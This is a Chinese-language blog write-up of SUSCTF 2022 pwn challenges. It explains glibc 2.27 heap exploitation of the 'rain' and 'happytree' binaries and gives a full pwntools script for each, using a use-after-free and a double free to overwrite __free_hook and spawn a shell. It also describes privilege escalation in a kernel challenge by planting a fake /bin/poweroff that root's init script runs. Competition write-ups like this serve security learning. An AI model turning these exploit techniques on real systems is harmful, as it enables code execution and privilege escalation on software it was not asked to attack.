SUSCTF 2022 Pwn WriteUp

SUSCTF 2022 Pwn WriteUp

前言

这次比赛,我是跟着SU一起打的,一共5Pwn题,算起来比赛时是做了4个吧,不过最后的内核题被非预期得有点离谱,包括它的revenge竟然能被更容易地非预期掉,若是不能非预期,可能写起来还是有点难度的emmmmmm......最后我们SU拿了冠军,还是很开心的!!!
下面就贴一下给战队写的WP,可能最后SU官方的WP有些题目是其他师傅写的,思路应该也都差不多,前面两个glibc的堆题都是考察UAF的构造利用,也都是低版本的glibc,我觉得还是比较容易的。

rain

这题也不需要完全逆完,就抓可能产生漏洞的地方分析构造就好。首先,很容易关注到configrealloc那里,当size = 0的时候,相当于free,然后再通过realloc往这个已经在tcache中的堆块写入数据,修改其next指针(其实就是个UAF),就可以进行劫持了,这里由于是2.27(1.2)版本的libc,因此还可以进行double free。不过,这里有两个地方要考虑一下,第一个就是需要泄露libc的基地址,第二个就是如何将我们伪造的堆块申请出来。对于第一个问题,我们容易想到,可以通过更改存放字母表的地址,再打印出来,就能造成信息泄露了,既然要更改存放字母表的地址,自然最方便的就是劫持整个结构体了,我们用raining刷新一下后,会通过malloc(0x40)申请一个堆块存放这个结构体,而我们可以在之前通过realloc那里double free一个0x50的堆块,这里就会申请出其中一个存放这个结构体,而在之后我们再用realloc申请出另外一个,就可以劫持到结构体了,这里由于没开PIE,故直接将存放字母表的地址改成某个elfgot表地址,就可以泄露出libc基地址了。再考虑第二个问题,如何申请出伪造的堆块,其实思路是类似地,先用raining刷新后,通过申请结构体那里申请出一个堆块,再在之后realloc申请出的就是伪造的堆块了,也就可以进行任意写了,这里劫持的是__free_hook,再通过realloc(0)调用free即可。

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

#io = process('./rain')
io = remote('124.71.185.75', 9999)
elf = ELF('./rain')
libc = ELF('./libc.so.6')

def send_data(heigh, width, front_color, back_color, rainfall, content):
	io.sendlineafter('ch> ', b'1')
	payload = p32(heigh) + p32(width) + p8(front_color) + p8(back_color) + p32(rainfall)
	payload = payload.ljust(18, b'a')
	payload += content
	io.sendafter('FRAME> ', payload)

io.sendlineafter('ch> ', b'2')
send_data(1, 1, 0, 0, 1, b'a'*0x48)
send_data(1, 1, 0, 0, 1, b'')
send_data(0x50, 0x50, 0x2, 0x1, 0x64, b'a'*0x58)
io.sendlineafter('ch> ', b'3')
send_data(0, 0, 0, 0, 1, p32(0x1) + p32(0x1) + b'a'*0x20 + p64(0x400E17) + p64(elf.got['atoi']) + b'a'*0x10)
send_data(0x50, 0x50, 0x2, 0x1, 0x64, b'\x00')
io.sendlineafter('ch> ', b'2')
io.recvuntil("Table:            ")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['atoi']
success("libc_base:\t" + hex(libc_base))
io.sendlineafter('ch> ', b'3')
send_data(1, 1, 0, 0, 1, b'a'*0x48)
send_data(1, 1, 0, 0, 1, b'')
send_data(0x50, 0x50, 0x2, 0x1, 0x64, p64(libc_base + libc.sym['__free_hook'] - 8))
io.sendlineafter('ch> ', b'3')
send_data(1, 1, 0, 0, 1, b'/bin/sh\x00' + p64(libc_base + libc.sym['system']) + b'a'*0x38)
send_data(1, 1, 0, 0, 1, b'')
io.interactive()

happytree

程序主要实现了一个二叉排序树的结点加入和删除,其中每个结点的左子树中结点的值都小于它,右子树中所有结点的值都大于它,且没有重复的结点(每个结点的值&0xff就是malloc的堆块size),开始感觉删除那里当需要删除的结点左右都存在子结点的时候可能有漏洞可以利用,后来也没细想,因为发现了更简单的利用思路,可以构造一个只有左结点的单边树,然后将结点依次删除,填满tcache后,再删除一个使其进入unsorted bin,而每次删除的时候,存放结点信息的堆块也会跟着被删除,此时,在unsorted bin中的结点对应的存放信息的堆块就进入了fastbin,这个存放信息的堆块的fd自然是0,而这个fd的位置,就是之前存放结点对应值的位置,又因为存放信息的堆块的bk不会更改,会有数据残留,仍然是对应结点的堆块地址,且包括存放该结点左右子结点地址的位置也不会被覆盖,都存在数据残留,利用这几个数据残留就很容易达到UAF的目的。具体操作就是,从tcache末端申请回一个结点堆块及其对应存放信息的堆块,此时其对应存放信息的堆块的左节点位置就是在unsorted bin中的结点所对应的存放信息的堆块(在fastbin中),此时这个存放信息的堆块存放的结点的值为0(由于0是最小的值,因此之前要构建只有左结点的单边树,而不能是右节点),存放的对应结点位置就是在unsorted bin中的堆块地址,若是我们show(0),自然就可以泄露出libc的基地址了,然后我们再申请一个小一些的size,就会从unsorted bin分割出一部分给用户,这样我们0这个值所对应的结点堆块地址和申请的小一些的size对应的结点堆块地址就指向了同一个地址,又因为这是在libc-2.27(1.2)下的,故可以直接double freetcache中,也就可以任意写了。

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

#io = process("./pwn")
io = remote("124.71.147.225", 9999)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def insert(size, content = b'\n'):
	io.sendlineafter("cmd> ", b'1')
	io.sendlineafter("data: ", str(size))
	io.sendafter("content: ", content)

def delete(size):
	io.sendlineafter("cmd> ", b'2')
	io.sendlineafter("data: ", str(size))

def show(size):
	io.sendlineafter("cmd> ", b'3')
	io.sendlineafter("data: ", str(size))

def quit():
	io.sendlineafter("cmd> ", b'4')

insert(0x1000)
for i in range(9):
	insert(0x100*(9-i)+0xff)
for i in range(8):
	delete(0x100*(9-i)+0xff)
insert(0xff)
show(0)
io.recvuntil("content: ")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 96
success("libc_base:\t" + hex(libc_base))
insert(0x160)
delete(0)
delete(0x160)
insert(0x260, p64(libc_base + libc.sym['__free_hook'] - 8))
insert(0x360)
insert(0x460, b'/bin/sh\x00' + p64(libc_base + libc.sym['system']))
delete(0x460)
io.interactive()

kqueue & kqueue's revenge

非预期

/ $ ls -al
drwxrwxr-x   14 ctf      ctf              0 Feb 27 11:54 .
drwxrwxr-x   14 ctf      ctf              0 Feb 27 11:54 ..

可以看到...都是用户权限,所以可以直接改文件名,这里把bin文件夹的名字改了,再建一个bin文件夹,之后在bin文件夹中创建poweroff并写入任意命令,再赋予其可执行权限。这样,在退出1000权限的/bin/sh后,init脚本仍然以root调用了poweroff命令(路径为/bin/poweroff),就可以以root执行我们任意更改的恶意指令了,也就很容易地非预期打通了......
exp如下:

mv bin evil_bin
cd evil_bin
./mkdir /bin
./echo "/evil_bin/cat /flag" > /bin/poweroff
./chmod +x /bin/poweroff
exit

比较无语的是,此题的revenge版本并没有修复这个问题,仍然能这样非预期打通......

posted @ 2022-03-01 09:35  winmt  阅读(715)  评论(1编辑  收藏  举报